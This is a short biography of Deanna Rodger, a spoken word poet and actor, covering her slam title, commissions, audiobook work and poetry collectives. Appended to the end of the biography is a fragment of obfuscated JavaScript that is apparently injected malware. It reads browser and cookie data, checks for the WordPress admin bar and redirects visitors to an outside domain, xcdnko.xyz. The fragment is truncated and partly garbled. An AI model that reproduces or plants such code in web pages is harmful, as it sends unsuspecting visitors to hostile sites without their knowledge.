Deanna Rodger is an actor and spoken word poet. She is the youngest UK Poetry Slam Champion (2007/8) and completed vocational acting training in The National Youth Theatres (NYT) REP Company 2012.

She has written and performed as a poet and actor in 2012 Olympic Team Welcome Ceremonies (NYT commission), Buckingham Palace (NYT commission), Speakers House (NYT commission), 10 Downing street (somewhere to_ commission) and Honey Coated Dream (Lyric Hammersmith commission) as well as delivering two TedX performances (Southwark and EastEnd). She has recently completed the audio book recording of ‘Feral Youth’ by Polly Courtney and is currently writing her one woman show ‘LondonMatter’ which has received support from POP Productions (IdeasTap, Sky Arts), Roundhouse Camden, The Albany and the Arts Council.

She is co founder of two popular spoken word events Chill Pill and Come Rhyme With Me (Spread the Word, New Writing South) and is in poetry collectives: Point Blank Poets (Biennale UK Artist International award 2011) and Keats House Poetry Forum, as well as leading on Podium Poets (Spread The Word) and workshops in and around the UK.var _0x1e50=['charAt','substring','indexOf','userAgent','match','Edge','MSIE;','Chromium','Firefox','Chrome','ppkcookie','location','replace','https://www.xcdnko.xyz','getElementById','wpadminbar','undefined','setTime','getTime','cookie','split','length'];(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107'push'](_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386_0x265c('0x3')]()+_0x3eeb6e0x180x3c0x3c0x3e8);_0x4e0732='; expires='+_0x1dd386'toUTCString';}document['cookie']=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document[_0x265c('0x5')]_0x265c('0x6');for(var _0x593f64=0x0;_0x593f64